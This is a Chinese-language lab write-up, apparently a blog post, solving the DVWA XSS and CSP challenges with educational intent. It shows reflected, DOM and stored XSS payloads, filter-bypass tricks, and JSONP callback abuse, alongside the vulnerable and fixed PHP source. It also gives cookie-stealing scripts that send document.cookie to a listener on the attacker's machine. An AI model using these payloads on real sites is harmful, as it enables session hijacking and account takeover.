DVWA-XSS

1. Reflected XSS

Low level

提交name为aaa,响应如下:

<form name="XSS" action="#" method="GET">
    <p>
        What's your name?
        <input type="text" name="name">
        <input type="submit" value="Submit">
    </p>

</form>
<pre>Hello aaa</pre>

提交以下payload:

<script>alert(/xss/)</script>
<body onload=alert(/xss2/)>
<a href='' onclick=alert(/xss3/)>click1</a>
<img src=http://a.copm/a.jpg onerror=alert(/xss4/)>

没有任何过滤,均可成功弹窗。

重定向:

<script>window.location='https://www.baidu.com'</script>

获取cookie

弹窗获取:

<script>alert(document.cookie)</script>
security=low; PHPSESSID=ak4bius4na02j37up6p8rkbm8d

http请求获取。先开启监听:nc -lvvp 80,然后提交payload:

<script>new Image().src="http://10.10.10.160/a.php?output="+document.cookie;</script>

kali端(10.10.10.160)监听:

$ nc -lvvp 80                   
listening on [any] 80 ...
connect to [10.10.10.160] from 10.10.10.160 [10.10.10.160] 41278
GET /a.php?output=security=low;%20PHPSESSID=ak4bius4na02j37up6p8rkbm8d HTTP/1.1
Host: 10.10.10.160
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.10.10.165/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F10.10.10.160%2Fa.php%3Foutput%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E

通过远程js脚本获取。

// getcookie.js
var img=new Image();
img.src="http://10.10.10.160:1234/a.php?cookie=" + document.cookie;

kali启动http服务(apache2啥的都行):

──(kali㉿kali)-[~/Documents]
└─$ python -m SimpleHTTPServer 80

kali监听1234端口:

$ nc -lvvp 1234

提交payload:

<script src='http://10.10.10.160/getcookie.js'></script>

1234端口成功收到GET请求:

$ nc -lvvp 1234                                                                                                      1 ⨯
listening on [any] 1234 ...
connect to [10.10.10.160] from 10.10.10.160 [10.10.10.160] 43882
GET /a.php?cookie=security=low;%20PHPSESSID=ak4bius4na02j37up6p8rkbm8d HTTP/1.1
Host: 10.10.10.160:1234
...

看下后台源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

Medium level

提交payload:

<script>alert(/xss/)</script>

标签被过滤了:

<form name="XSS" action="#" method="GET">
    <p>
    What's your name?
    <input type="text" name="name">
    <input type="submit" value="Submit">
    </p>
</form>
<pre>Hello alert(/xss/)</script></pre>

很好绕过:

大小写绕过
<sCript>alert(/xss/)</script>
插入绕过
<scr<script>ipt>alert(/xss/)</script>

其它payload也还有效:

<body onload=alert(/xss2/)>
<a href='' onclick=alert(/xss3/)>click1</a>
<img src=http://a.copm/a.jpg onerror=alert(/xss4/)>

看下源码,确实只过滤了script标签:

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '<script>', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

High level

script标签被严格过滤了,但onload, img等payload还有效。

看下源码,是用的正则表达式来过滤:

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

Impossible level

之前的payload均失效。

看下源码,使用了htmlspecialchars过滤,并且加入了token防御csrf。

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
	// Get input
	$name = htmlspecialchars( $_GET[ 'name' ] );
	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

如果是把name输出到单标签里,就有希望了。但这里是输出到pre双标签里了。

2. DOM XSS

注意和反射型xss做好区分。DOM型不经过服务器。

Low level

界面让选一个语言,随便选个French。响应如下:

<form name="XSS" method="GET">
    <select name="default">
        <script>
            if (document.location.href.indexOf("default=") >= 0) {
                var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
                document.write("<option value='' disabled='disabled'>----</option>");
            }

            document.write("<option value='English'>English</option>");
            document.write("<option value='French'>French</option>");
            document.write("<option value='Spanish'>Spanish</option>");
            document.write("<option value='German'>German</option>");
        </script>
        <option value="French">French</option>
        <option value="" disabled="disabled">----</option>
        <option value="English">English</option>
        <option value="French">French</option>
        <option value="Spanish">Spanish</option>
        <option value="German">German</option>
    </select>		
    <input type="submit" value="Select" />
</form>

注意请求方式是GET,所以输入都被浏览器进行了URL编码,而前端界面又调用decodeURI进行解码(value=后面lang变量没有被解码,所以没法利用)。

构造payload:

/dvwa/vulnerabilities/xss_d/
?default=French<script>alert(/xss/)</script>

响应:

<option value="French%3Cscript%3Ealert(/xss/)%3C/script%3E">French<script>alert(/xss/)</script></option>

成功弹窗。

Medium level

这次前端页面检查没有变化,但low level的payload失效了。

尝试绕过:

大小写绕过
?default=French<sCript>alert(/xss/)</sCript>   失败
插入绕过
?default=French<scr<script>ipt>alert(/xss/)</script>

前端始终返回English option。

?default=French<script>alert(/xss/)</script>

重新构造一下payload,尝试闭合标签:

French</option></select><body onload=alert(/xss2/)>
French</option></select><a href='' onclick=alert(/xss3/)>click1</a>
French</option></select><a href='' onclick=alert(/xss3/)>click1</a>

均成功弹窗。

看下后端源码,是检查script标签:

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}
?>

High level

试了半天没绕过,直接看源码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}
?>

用了白名单。

可以在注入的 payload 中加入注释符 “#”,注释后边的内容不会发送到服务端,但是会被前端代码所执行。

?default=English#<script>alert(document.cookie)</script>

成功弹窗。

Impossible level

这次前端发生了变化:

<script>
    if (document.location.href.indexOf("default=") >= 0) {
        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
        document.write("<option value='" + lang + "'>" + (lang) + "</option>");	//这里这里这里
        document.write("<option value='' disabled='disabled'>----</option>");
    }

    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>

尝试发个script payload,回显如下(url编码):

<option value="%3Cscript%3Ealert(/xss/)%3C/script%3E">%3Cscript%3Ealert(/xss/)%3C/script%3E</option>

对比一下low level:

<option value="%3Cscript%3Ealert(/xss/)%3C/script%3E"><script>alert(/xss/)</script></option>

也就是说,去掉decodeURI,不再对输入进行url解码,。

后端impossible.php没有作任何处理, 但index.php有这样一段处理:

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
	$decodeURI = "";
}
// document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");

help页面描述:

The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being executed.

3. Stored XSS

Low level

题目是一个留言板页面,姓名和消息文本框,一个提交按钮,一个清除按钮。

留言内容:

<br />
	<div id="guestbook_comments">Name: test<br />Message: This is a test comment.<br /></div>
<br />

两个文本框都限制了长度,F12删除一下或者抓包都可以绕过。name和message的payload:

<script>alert(/xss/)</script>
<body onload=alert(/xss2/)>
<a href='' onclick=alert(/xss3/)>click1</a>

成功弹窗。

看下源码,去掉了空格、斜杠、引号等特殊字符,防御了sql注入,但没有防御xss:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) 
                ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) 
                : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) 
             ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) 
             : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}
?>

Medium level

Low level的payload失效,但大小写处理一下就能绕过了:

<sCript>alert(/xss/)</sCript>

看源码,是对name过滤不严格导致的xss:

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );

High level

Low level的payload挨个试试,只有script标签失效了。

看下源码,确实没有过滤其他标签:

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = htmlspecialchars( $message );
//...
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

Impossible level

对name和message变量都调用了htmlspecialchars转换为 HTML 实体。无法利用了。

4. CSP

Content-Security-Policy,浏览器根据该HTTP响应字段判断哪些资源可以加载或执行,实质就是白名单制度。目的是抵御XSS攻击。

举例

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
  1. script-src:只信任当前域名
  2. object-src:不信任任何URL,不加载任何资源
  3. style-src样式表:只信任http://cdn.example.org和http://third-party.org
  4. child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。

Low level

抓包看下响应字段(F12看网络也可以):

Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;

首先,网页可以下载当前域名的资源,假如已经利用网站的文件上传漏洞上传了一段脚本,并且知道路径,就可以加载它了。

xss.js:

alert(/xss_csp/);

include处填写js url:

http://10.10.10.165/dvwa/vulnerabilities/csp/

网上有很多利用hastebin.com的writeup,但我没有成功,不知道是不是浏览器版本(Firefox 78.13.0esr 64-bit)的问题。

看下源码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
	<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
	<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
	<input size="50" type="text" name="include" value="" id="include" />
	<input type="submit" value="Include" />
</form>
';

Medium level

响应的csp字段发生了变化:

Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。

nonce-source,仅允许特定的内联脚本块,参考文章: HTML中“Nonce”属性的用途是什么?

payload:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" > alert(/xss/)</script>

而low level的payload则失效了。

源码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
	" . $_POST['include'] . "
";
}
//...
?>

High level

这一关没有输入框。看网页源码或F12可以看到,CSP为script-src 'self';,另外这个页面加载了source/high.js:

<p>1+2+3+4+5=<span id="answer"></span></p>
...
<script src="source/high.js"></script>

F12可以看下high.js的源码:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
	if ("answer" in obj) {
		document.getElementById("answer").innerHTML = obj['answer'];
	}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
	solve_button.addEventListener("click", function() {
		clickButton();
	});
}

根据这一关的帮助信息,这其实是发起了JSONP调用。JSONP是一种跨域读取数据的方法。

下面点击按钮时抓一下包。

请求:

GET /dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum HTTP/1.1

响应包的body:

solveSum({"answer":"15"})

于是,id为answer的span标签处就填上了15。

如果在点击按钮时拦截请求包,修改callback参数,就能实现利用:

GET /dvwa/vulnerabilities/csp/source/jsonp.php?callback=alert(/xss/) HTTP/1.1

看下jsonp.php源码:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
	$callback = $_GET['callback'];
} else {
	return "";
}

$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

Impossible level

这一关页面和high level一样,csp也仍是script-src 'self';

另外加载了impossible.js:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
	if ("answer" in obj) {
		document.getElementById("answer").innerHTML = obj['answer'];
	}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
	solve_button.addEventListener("click", function() {
		clickButton();
	});
}

点击按钮的请求也变了:

GET /dvwa/vulnerabilities/csp/source/jsonp_impossible.php HTTP/1.1

响应包的body没有变:

solveSum ({"answer":"15"})

现在的问题是没有了callback参数,solveSum是如何回调的。

答:硬编码-_-

json_impossible.php:

<?php
header("Content-Type: application/json; charset=UTF-8");
$outp = array ("answer" => "15");
echo "solveSum (".json_encode($outp).")";
?>
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值